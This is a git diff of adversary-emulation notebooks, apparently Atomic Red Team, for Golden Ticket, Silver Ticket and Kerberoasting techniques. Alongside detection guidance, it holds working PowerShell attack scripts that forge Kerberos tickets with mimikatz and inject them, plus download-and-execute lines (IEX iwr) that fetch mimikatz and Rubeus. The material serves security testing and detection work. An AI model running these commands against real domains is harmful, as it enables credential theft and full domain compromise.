"7558f2f7", + "id": "ef0a3006", "metadata": {}, "source": "## Detection\nMonitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow." }, { "cell_type": "markdown", - "id": "820c49d7", + "id": "ccd7f4fd", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nA defender can monitor network traffic for anomalies associated with known MiTM behavior.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1558.001.ipynb b/playbook/tactics/credential-access/T1558.001.ipynb index d7e7da46..c82866c8 100644 --- a/playbook/tactics/credential-access/T1558.001.ipynb +++ b/playbook/tactics/credential-access/T1558.001.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "62a5a198", + "id": "5e3cf619", "metadata": {}, "source": "# T1558.001 - Golden Ticket\nAdversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller." }, { "cell_type": "markdown", - "id": "61e89e39", + "id": "1a12ea5c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "af358041", + "id": "01d576f3", "metadata": {}, - "source": "### Atomic Test #1 - Crafting Active Directory golden tickets with mimikatz\nOnce the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.\nThis test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```powershell\n$mimikatz_path = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #1 - Crafting Active Directory golden tickets with mimikatz\nOnce the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.\nThis test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```powershell\n$mimikatz_path = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6bb58425", + "id": "ea1bd42c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e1799f88", + "id": "e2d97ad8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"S-1-5-21-DEFAULT\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n $env:TEMP\\mimikatz\\x64\\mimikatz.exe \"kerberos::golden /domain:%userdnsdomain% /sid:DOMAIN_SID /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:goldenticketfakeuser /ptt\" \"exit\"\n\n echo.\n echo Requesting SYSVOL:\n dir \\\\%userdnsdomain%\\SYSVOL\n \n echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n```" + "```powershell\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"S-1-5-21-DEFAULT\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe \"kerberos::golden /domain:%userdnsdomain% /sid:DOMAIN_SID /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:goldenticketfakeuser /ptt\" \"exit\"\n\n echo.\n echo Requesting SYSVOL:\n dir \\\\%userdnsdomain%\\SYSVOL\n \n echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "97180fc8", + "id": "20002c2d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3d43c37f", + "id": "cb357fed", "metadata": {}, "source": "### Atomic Test #2 - Crafting Active Directory golden tickets with Rubeus\nOnce the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.\nThis test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```\n##### Description: Rubeus must exist\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path $Env:temp\\rubeus.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile $Env:temp\\rubeus.exe\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d1e48763", + "id": "34c3c69f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "10bcfa13", + "id": "0bedf2ae", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -69,14 +69,14 @@ { "cell_type": "code", "execution_count": null, - "id": "17e7125e", + "id": "4c69f9bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9fc076f1", + "id": "544539fc", "metadata": {}, "source": "## Detection\nMonitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n" } @@ -84,13 +84,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1558.002.ipynb b/playbook/tactics/credential-access/T1558.002.ipynb index 7a52993a..ca96c93c 100644 --- a/playbook/tactics/credential-access/T1558.002.ipynb +++ b/playbook/tactics/credential-access/T1558.002.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "c1683de9", + "id": "31e9abc7", "metadata": {}, "source": "# T1558.002 - Silver Ticket\nAdversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003)." }, { "cell_type": "markdown", - "id": "5cf08843", + "id": "4308be3f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f76800bd", + "id": "e504fda7", "metadata": {}, - "source": "### Atomic Test #1 - Crafting Active Directory silver tickets with mimikatz\nOnce the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```powershell\n$mimikatz_path = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #1 - Crafting Active Directory silver tickets with mimikatz\nOnce the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```powershell\n$mimikatz_path = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c91cc619", + "id": "45ba3a06", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7cf843c9", + "id": "177dfe88", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"S-1-5-21-DEFAULT\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\silver.txt 2>&1 (\n echo Purge existing tickets and create silver ticket:\n klist purge\n $env:TEMP\\mimikatz\\x64\\mimikatz.exe \"kerberos::golden /domain:%userdnsdomain% /sid:DOMAIN_SID /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:silverticketfakeuser /service:HOST /target:%logonserver:\\\\=%.%userdnsdomain% /ptt\" \"exit\"\n\n echo.\n echo executing:schtasks /query /S %logonserver:\\\\=%.%userdnsdomain%\n schtasks /query /S %logonserver:\\\\=%.%userdnsdomain%\n \n echo.\n echo Tickets after requesting schtasks:\n klist\n\n echo.\n echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Silver Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n```" + "```powershell\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"S-1-5-21-DEFAULT\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\silver.txt 2>&1 (\n echo Purge existing tickets and create silver ticket:\n klist purge\n PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe \"kerberos::golden /domain:%userdnsdomain% /sid:DOMAIN_SID /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:silverticketfakeuser /service:HOST /target:%logonserver:\\\\=%.%userdnsdomain% /ptt\" \"exit\"\n\n echo.\n echo executing:schtasks /query /S %logonserver:\\\\=%.%userdnsdomain%\n schtasks /query /S %logonserver:\\\\=%.%userdnsdomain%\n \n echo.\n echo Tickets after requesting schtasks:\n klist\n\n echo.\n echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Silver Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0cce9b96", + "id": "ef04d6db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8b1b92c3", + "id": "64ada421", "metadata": {}, "source": "## Detection\nMonitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored." } @@ -53,13 +53,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1558.003.ipynb b/playbook/tactics/credential-access/T1558.003.ipynb index b31155f5..e84910dd 100644 --- a/playbook/tactics/credential-access/T1558.003.ipynb +++ b/playbook/tactics/credential-access/T1558.003.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "4f7f89f4", + "id": "bb179caf", "metadata": {}, "source": "# T1558.003 - Kerberoasting\nAdversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)" }, { "cell_type": "markdown", - "id": "85543567", + "id": "b34c3705", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a6a22a8e", + "id": "1503fa4e", "metadata": {}, "source": "### Atomic Test #1 - Request for service tickets\nThis test uses the Powershell Empire Module: Invoke-Kerberoast.ps1\nThe following are further sources and credits for this attack:\n[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)\n[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)\nwhen executed successfully , the test displays available services with their hashes. \nIf the testing domain doesn't have any service principal name configured, there is no output\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d65fd3a8", + "id": "31938a37", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "959f8fb6", + "id": "f2cb6527", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,73 +38,73 @@ { "cell_type": "code", "execution_count": null, - "id": "1e71c087", + "id": "98344449", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e1a60123", + "id": "9a8045b0", "metadata": {}, - "source": "### Atomic Test #2 - Rubeus kerberoast\nInformation on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast\nThis build targets .NET 4.5. If targeting a different version you will need to compile Rubeus\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```\n##### Description: Rubeus must exist\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path $Env:temp\\rubeus.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile $Env:temp\\rubeus.exe\n\n```" + "source": "### Atomic Test #2 - Rubeus kerberoast\nInformation on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast\nThis build targets .NET 4.5. If targeting a different version you will need to compile Rubeus\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```\n##### Description: Rubeus must exist\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "36f4b972", + "id": "085b9180", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 2 -GetPreReqs" }, { 